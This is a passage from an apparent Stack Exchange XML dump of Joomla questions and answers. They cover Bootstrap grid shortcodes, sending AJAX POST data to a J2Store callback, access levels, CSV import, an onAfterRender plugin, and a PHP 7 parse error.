&amp;lt;hr&amp;gt;&#xA; [/html]&#xA; [/column]&#xA;&#xA; [column width_sm=&quot;4&quot;]&#xA; [html]&#xA;   &amp;lt;!--THIS IS COLUMN 3--&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 5 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 5 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 5 Subtext&amp;lt;/p&amp;gt;&#xA;   &amp;lt;hr&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 6 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 6 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 6 Subtext&amp;lt;/p&amp;gt;&#xA;   &amp;lt;hr&amp;gt;&#xA; [/html]&#xA; [/column]&#xA; [/columns]&#xA; [fluid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, this produces what you actually see in your front-end page, which is a &lt;a href=&quot;https://getbootstrap.com/docs/4.1/layout/grid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bootstrap grid layout&lt;/a&gt; - which at a first level is the skeleton for the desired layout for that page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the problem in your implementation is that after setting up the first row with its 3 column divs, all the content has been placed inside there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your situation what you actually have to do in order to achieve an acceptable layout is to use 1 of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[column]&#xA;[html]&#xA;   &amp;lt;p&amp;gt;Person 1 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 1 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 1 Subtext&amp;lt;/p&amp;gt;&#xA;[/html]&#xA;[/column] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for each person you want to show in this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you can also wrap every 3 columns inside a new row using the: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[fluid]&#xA;[columns add_margins=true css=&quot;z-index:4;&quot;]&#xA;[/columns]&#xA;[fluid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at the end, in your editor you would end-up with something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- #### First row of persons #### --&amp;gt;&#xA;[fluid]&#xA;[columns add_margins=true css=&quot;z-index:4;&quot;]&#xA;&#xA;  [column]&#xA;    [html]&#xA;       &amp;lt;!--THIS IS ROW 1 COLUMN 1--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 1 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 1 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 1 Subtext&amp;lt;/p&amp;gt;&#xA;    [/html]&#xA;  [/column] &#xA;&#xA;  [column]&#xA;    [html]&#xA;       &amp;lt;!--THIS IS ROW 1 COLUMN 2--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 2 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 2 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 2 Subtext&amp;lt;/p&amp;gt;&#xA;    [/html]&#xA;  [/column] &#xA;&#xA;  [column]&#xA;    [html]&#xA;       &amp;lt;!--THIS IS ROW 1 COLUMN 3--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 3 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 3 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 3 Subtext&amp;lt;/p&amp;gt;&#xA;    [/html]&#xA;  [/column]&#xA;&#xA;[/columns]&#xA;[fluid]&#xA;&#xA;&amp;lt;!-- #### Second row of persons #### --&amp;gt;&#xA;[fluid]&#xA;[columns add_margins=true css=&quot;z-index:4;&quot;]&#xA;&#xA;  [column]&#xA;    [html]&#xA;       &amp;lt;!--THIS IS ROW 2 COLUMN 1--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 4 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 4 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 4 Subtext&amp;lt;/p&amp;gt;&#xA;    [/html]&#xA;  [/column] &#xA;&#xA;  [column]&#xA;    [html]&#xA;       &amp;lt;!--THIS IS ROW 2 COLUMN 2--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 5 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 5 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 5 Subtext&amp;lt;/p&amp;gt;&#xA;    [/html]&#xA;  [/column] &#xA;&#xA;  [column]&#xA;    [html]&#xA;       &amp;lt;!--THIS IS ROW 2 COLUMN 3--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 6 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 6 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 6 Subtext&amp;lt;/p&amp;gt;&#xA;    [/html]&#xA;  [/column]&#xA;&#xA;[/columns]&#xA;[fluid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Making up your layout this way, you will end up with proper mark-up that it will be based on Bootstrap grid - which will handle almost everything regarding the layout and alignments. In addition, you will be able to handle and style it in the front-end using css, if you need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your goal for the final outcome should be something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- #### First row of persons #### --&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;       &amp;lt;!--THIS IS ROW 1 COLUMN 1--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 1 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 1 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 1 Subtext&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;       &amp;lt;!--THIS IS ROW 1 COLUMN 2--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 2 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 2 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 2 Subtext&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;       &amp;lt;!--THIS IS ROW 1 COLUMN 3--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 3 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 3 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 3 Subtext&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- #### Second row of persons #### --&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;       &amp;lt;!--THIS IS ROW 2 COLUMN 1--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 4 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 4 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 4 Subtext&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;       &amp;lt;!--THIS IS ROW 2 COLUMN 2--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 5 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 5 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 5 Subtext&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;       &amp;lt;!--THIS IS ROW 2 COLUMN 3--&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 6 Name&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 6 Image&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Person 6 Subtext&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS1.&lt;br&gt;&#xA;Don't start applying whatever I show you here directly on the real article of your page. I am not 100% sure that the short-codes I used here are the correct ones. This depends on the plugin that is used that provides those short-codes. So consult the plugin's documentation and test the syntax on a testing article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS2.&lt;br&gt;&#xA;I am not a fan of such approaches and plugins generally. As the final outcome is that there is no clean content for the website and it will depend on a specific plugin in order to display the content of a page in a viewable and readable way. Are there other approaches? - Certainly, but this is another long discussion and in any case it depends on the unique requirements of each project.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-11-24T07:02:56.727" LastActivityDate="2018-11-24T07:02:56.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23826" PostTypeId="1" AcceptedAnswerId="23829" CreationDate="2018-11-24T07:18:17.083" Score="4" ViewCount="3231" Body="&lt;p&gt;I am working on a Joomla 3.8 website on my localhost, hosted by MAMP 5.1. I am modifying the component J2Store, which is built on F0F. Please bear with me because I'm still learning a lot of these concepts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a database containing car parts which have 4 properties: &quot;manufacturer&quot; (or &quot;make&quot;), &quot;model&quot;, &quot;year&quot;, and &quot;engine&quot;. The website has four different select menus, one for each property, which must be selected in order. For example when the user selects a make then the model menu becomes available and displays only those models made by that manufacturer (and similarly for the other properties). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functionality is already implemented by the previous developer on this project, but it has the inconvenient feature that each time a select menu changes it reloads the entire page, which takes some time and is annoying. I am trying to implement AJAX requests which refresh the menu contents without reloading the page.  My approach is to send a request when a menu changes which queries the database for the appropriate options in the next menu, based on the current menu choices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty I'm having is I don't know how to access the current menu options in the server-side code. The old code's logic is based on the $POST[] array, but when I log the contents of the post array during my callback functions it is either empty or doesn't contain what I expect/need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following file contains my server-side database calls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/localhost/my_site/components/com_j2store/models/callback.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class J2StoreModelCallback extends F0FModel {&#xA;&#xA;    function runCallback($method) {&#xA;        switch ($method) {&#xA;            case 'getManufacturer':&#xA;                $this-&amp;gt;getManufacturer();&#xA;                break;&#xA;            case 'getModel':&#xA;                $this-&amp;gt;getModel();&#xA;                break;&#xA;            case 'getManufYear':&#xA;                $this-&amp;gt;getManufYear();&#xA;                break;&#xA;            case 'getEngineSize':&#xA;                $this-&amp;gt;getEngineSize();&#xA;                break;&#xA;        }&#xA;        ...&#xA;    }&#xA;    ...&#xA;    function getModel(){&#xA;        // Makes sql query based on the value of $_POST['sel-make']&#xA;        ...&#xA;    }&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code for a typical menu selection response looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/localhost/my_site/media/j2store/js/j2store.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;jQuery(document).ready(function() {&#xA;&#xA;  jQuery('#sel-make').change(function() {&#xA;&#xA;    // Reset Model, Year and Engine selects.&#xA;    disableSelectMenu('model');&#xA;    disableSelectMenu('year');&#xA;    disableSelectMenu('engine');&#xA;&#xA;    var selection = jQuery('#sel-make').val();&#xA;&#xA;    // If the user cleared their choice, don't do anything else.&#xA;    if (selection === '') {&#xA;      return;&#xA;    }&#xA;&#xA;    var postData = &quot;sel-make=&quot; + selection;&#xA;&#xA;    // Sends an AJAX request which retrieves the correct contents for the Model select.&#xA;    // It passes the response to a helper function.&#xA;    jQuery.ajax({&#xA;            url: '/my_site/index.php?option=com_j2store&amp;amp;view=callback&amp;amp;task=callback&amp;amp;method=getModel', &#xA;            cache: false,&#xA;            type: &quot;POST&quot;,&#xA;            contentType: &quot;application/json&quot;,&#xA;            data: postData,&#xA;            success: function(response){ &#xA;                // Enables the Model select and fills it with the returned array.&#xA;                enableSelectMenu('model', response);&#xA;            },&#xA;            error: function(xhr, textStatus, errorThrown) {&#xA;                console.log(&quot;error : &quot; + textStatus);&#xA;            }&#xA;        });&#xA;  });&#xA;  ...&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ajax request reaches its destination, but it doesn't retain the information about the manufacturer selection. In the context of getModel the post array is empty, and in the context of the runCallback method it is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [option] =&amp;gt; com_j2store&#xA;    [view] =&amp;gt; callback&#xA;    [task] =&amp;gt; callback&#xA;    [method] =&amp;gt; getModel&#xA;    [Itemid] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which doesn't include the data parameter I put into my request. How can I push the menu selections to the model (via the controller) through the AJAX request? Is there a better way of accessing this content from the server-side code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if I'm just not understanding how to properly send a post request, or if this kind of request is simply not allowed to be made in this scenario. &lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2018-11-24T08:04:20.620" LastActivityDate="2018-11-25T18:13:34.200" Title="AJAX post request not sending data" Tags="|joomla-3.x|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23828" PostTypeId="1" CreationDate="2018-11-24T13:49:03.660" Score="0" ViewCount="338" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eL4Wm.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eL4Wm.gif&quot; alt=&quot;Front end editing opening in a modal&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to get front end editing opening in a modal.  Which is pretty useful in my opinion.  However the cancel button is irrelevant in this situation.  In the normal operation it cancels editing and takes you back to the original page/article without the edit window.  As I am now using the edit window on the same page I only need to close the modal to achieve the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modal close button top right works as expected.  But I want the cancel button to also take on this behaviour.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make the cancel button like so it does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;  &amp;lt;button type=&quot;button&quot; class=&quot;btn close novalidate&quot; data-dismiss=&quot;modal&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;icon-cancel&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JCANCEL') ?&amp;gt;&#xA;  &amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other modal close button has the classes &lt;code&gt;close&lt;/code&gt; and &lt;code&gt;novalidate&lt;/code&gt; but I expect the more important part is the &lt;code&gt;data-dismiss=&quot;modal&quot;&lt;/code&gt;.  Although that works well in a codepen of a bootstrap modal, if I use that code anywhere in the modal body in Joomla! it does not work.  Initially I thought it might be a Joomla! toolbar issue but it doesn't work anywhere in the modal body at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why, or can anyone point me to a good methodology to troubleshoot this?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-11-29T09:47:52.290" Title="Why can't I use a modal close button in the Joomla! modal body?" Tags="|joomla-3.x|bootstrap|modal|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="23829" PostTypeId="2" ParentId="23826" CreationDate="2018-11-24T18:03:25.433" Score="3" Body="&lt;p&gt;First, since you want to send just an extra key+value, then you can include that in the url of the ajax call like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: '/my_site/index.php?option=com_j2store&amp;amp;view=callback&amp;amp;task=callback&amp;amp;method=getModel&amp;amp;Itemid=' + selection,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I do not see why but if you want to send the chosen value with the key(sel-make), then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: '/my_site/index.php?option=com_j2store&amp;amp;view=callback&amp;amp;task=callback&amp;amp;method=getModel&amp;amp;sel-make=' + selection,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you send the data included in the url, then you can just comment out // data: postData . This line is not needed actually in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your runCallback() function you will have the wanted data now and you can have that with, for example, the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function runCallback($method) {&#xA;&#xA;        $app = JFactory::getApplication ();&#xA;        $rawDataPost = $app-&amp;gt;input-&amp;gt;getArray($_POST);&#xA;        // if you sent the value in ajax as Itemid:&#xA;        $Itemid = $rawDataPost['Itemid'];&#xA;        // if you sent it as sel-make:&#xA;        $selection = $rawDataPost['sel-make'];&#xA;        // then here all of your other things in this function...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just one simple way of how you can get this. (my site on my localhost has some encoding problem at the moment, so I cannot try the above, but i do not see any problem with sending the Itemid this way to that model via the controller)(update: now I tested that and it works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've almost forgotten, that if you want to rather send the data as you originally formulated then you have to just change the formatting like this and it will get through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var postData = {'Itemid' : selection};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-25T18:13:34.200" LastActivityDate="2018-11-25T18:13:34.200" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23830" PostTypeId="1" AcceptedAnswerId="23831" CreationDate="2018-11-26T01:59:31.173" Score="0" ViewCount="65" Body="&lt;p&gt;I want to ask about user group and access level. Since I'm new in Joomla, I still a bit confuse to make the user access. I hope someone can help me. Below I have 6 different menu and each will have upload and upload list button. What I want to make is 1 menu can be access to 1 user group. Please help me..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fKYCC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKYCC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 6 menu above will have the upload and uploaded list button  each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qlNF3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlNF3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13053" LastActivityDate="2018-11-29T09:43:39.313" Title="User group and access level" Tags="|joomla-3.x|user|user-groups|access|joomla-user-groups|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23831" PostTypeId="2" ParentId="23830" CreationDate="2018-11-26T07:43:21.220" Score="1" Body="&lt;p&gt;You need to create a user group for each menu item.&lt;br/&gt;&#xA;Then, create an Access Level for each menu item, and assign it to its corresponding user group.&lt;br/&gt;&#xA;When you create the menu items, set its Access to the appropriate Access View Level&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the user group &quot;Process&quot;&lt;/li&gt;&#xA;&lt;li&gt;Create the Access Level &quot;Process&quot; and tick/select the user group &quot;Process&quot; to give users belonging to this group this access level. &lt;/li&gt;&#xA;&lt;li&gt;Create the menu item &quot;Process&quot; and set its Access to &quot;Process&quot; &lt;/li&gt;&#xA;&lt;li&gt;Repeat 1 to 3 for each menu item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way, any user belongs to ONLY one group of them, will see only its menu item.&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2018-11-26T07:43:21.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23832" PostTypeId="2" ParentId="5056" CreationDate="2018-11-26T15:14:45.147" Score="0" Body="&lt;p&gt;Create blank article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create menu item selecting the article you created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create module in unused position, set menu assignment only on pages selected, select only menu item from above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this was at the top figured i would provide my answer, this is what i do.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastActivityDate="2018-11-26T15:14:45.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23833" PostTypeId="1" AcceptedAnswerId="23851" CreationDate="2018-11-26T19:38:11.297" Score="0" ViewCount="1270" Body="&lt;p&gt;I'm building a Joomla! Website (currently running 3.9.0). It's a website of a Sports Club and we would like to add Live Score, Scoreboard and Last Result. The Sport Association told us the only two options currently are iFrame (please, no!) or data, that would be read from a CSV file (they are still building a system, that would work with a proper database). So, basically, I need a module that can read the file and show the required data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, can you give me some clues how to get started here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we are trying to do here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a live CSV file on a remote server (read only) and we can access it through the link provided by the Association. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the example content of the CSV:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;;7. krog - sobota 24.11.2018;;;;&#xA;1185;M1158;PRO Volley;FužinarSijMetalRavne;0:3;20:25,22:25,20:25;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We would like to display it in a table in a Joomla module in a similar way as shown in the screenshot (the screenshot is from the Association, they are using the same source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wpfOj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wpfOj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9219" LastEditorUserId="9219" LastEditDate="2018-11-27T08:03:58.937" LastActivityDate="2018-11-30T09:26:08.200" Title="Can Joomla! read from a CSV file?" Tags="|module|database|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23834" PostTypeId="2" ParentId="23833" CreationDate="2018-11-27T00:27:28.463" Score="0" Body="&lt;p&gt;CSV Improved is really powerful and you can import into Joomla content articles, K2, and others: &lt;a href=&quot;https://csvimproved.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://csvimproved.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-11-27T00:27:28.463" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23835" PostTypeId="1" AcceptedAnswerId="23836" CreationDate="2018-11-27T09:24:03.920" Score="2" ViewCount="583" Body="&lt;p&gt;Is there any way to get full rendered page before returning to the browser?&#xA;I want to get full page (from &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;), replace some pseudo variables and retrun to user changed verstion. &#xA;I can do this using index.php &#xA;but I looks ugly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is a callback like &quot;on after page rendered&quot;?&lt;/p&gt;&#xA;" OwnerUserId="13100" LastActivityDate="2019-10-25T23:54:18.237" Title="How to get rendered full page before returning to the browser?" Tags="|articles|content|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23836" PostTypeId="2" ParentId="23835" CreationDate="2018-11-27T09:42:16.190" Score="4" Body="&lt;p&gt;To edit entire HTML output directly, create a system plugin with &lt;code&gt;onAfterRender&lt;/code&gt; event. Use application's &lt;code&gt;getBody()&lt;/code&gt; method to get the content and &lt;code&gt;setBody()&lt;/code&gt; to save the modified content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;plgSystemExample&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterRender()&#xA;    {&#xA;        if ($this-&amp;gt;app-&amp;gt;getDocument()-&amp;gt;type !== 'html')&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $body = $this-&amp;gt;app-&amp;gt;getBody();&#xA;&#xA;        //do modifications to $body here&#xA;&#xA;        $this-&amp;gt;app-&amp;gt;setBody($body);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if the content you want to replace is only inside content items (e.g. shortcodes in articles), create a content plugin with &lt;code&gt;onContentPrepare&lt;/code&gt; event and only modify the article text.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-27T11:06:39.600" LastActivityDate="2018-11-27T11:06:39.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23837" PostTypeId="2" ParentId="18892" CreationDate="2018-11-27T13:37:45.437" Score="0" Body="&lt;p&gt;Or, alternately, instead of installing a bunch of stuff, you could put it where you want it and then right click and select all and copy and paste it into a wordpad file, save it and name it SITE-index-php and then just copy that file back in any time there's an update. Takes like 1 minute and nothing else to install or mess around with.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastActivityDate="2018-11-27T13:37:45.437" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23838" PostTypeId="1" AcceptedAnswerId="23844" CreationDate="2018-11-27T14:14:22.120" Score="2" ViewCount="277" Body="&lt;p&gt;I moved a website from server (PHP 5.6.38) to localhost (PHP 7.2.10). And I receive this error in the page title (in the chrome tab):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 - Using $this when not in object content&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While searching online I found that I have to replace all instances of &lt;code&gt;JSite::getMenu()&lt;/code&gt; with &lt;code&gt;JFactory::getApplication()-&amp;gt;getMenu()&lt;/code&gt;, I did it with no luck. I changed the theme and the error dissapeared, so its probably something with the theme. I tried to edit the theme but I receive this error : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An error has occurred.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;0 syntax error, unexpected '}', expecting&#xA;  elseif (T_ELSEIF) or else (T_ELSE) or endif (T_ENDIF)  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Return to&#xA;  Control Panel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there is no information where this error is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded again the template files from server, replace the local ones but still get the same error, while on the live server there is no such error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled &lt;code&gt;error_reporting&lt;/code&gt; and I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected '}' in C:...\html\modules.php on line 64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is that the file is identical with the one on the server and on the server I dont get any error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_myCatMod($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    $moduleTag      = $params-&amp;gt;get('module_tag', 'div');&#xA;    $headerTag      = htmlspecialchars($params-&amp;gt;get('header_tag', 'h3'));&#xA;    $bootstrapSize  = (int) $params-&amp;gt;get('bootstrap_size', 0);&#xA;    $moduleClass    = $bootstrapSize 